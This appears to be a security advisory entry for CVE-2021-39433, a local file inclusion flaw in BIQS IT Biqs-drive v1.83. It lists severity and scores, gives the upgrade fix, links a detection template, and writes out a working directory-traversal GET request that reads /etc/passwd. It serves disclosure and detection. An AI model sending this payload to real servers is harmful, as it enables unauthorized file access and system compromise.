| Title | BIQS IT Biqs-drive v1.83 Local File Inclusion |
|---|---|
| Author | Veshraj |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system. |
| Remediation | Upgrade to the latest version of BIQS IT Biqs-drive (v1.84 or higher) which includes a fix for the Local File Inclusion vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.81123 |
| CVE ID | CVE-2021-39433 |
| Tags | cve2021 cve lfi biqsdrive biqs vuln |
A local file inclusion vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-user.
GET /download/index.php?file=../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; es-es) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39433.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-39433.pcap
N/AN/A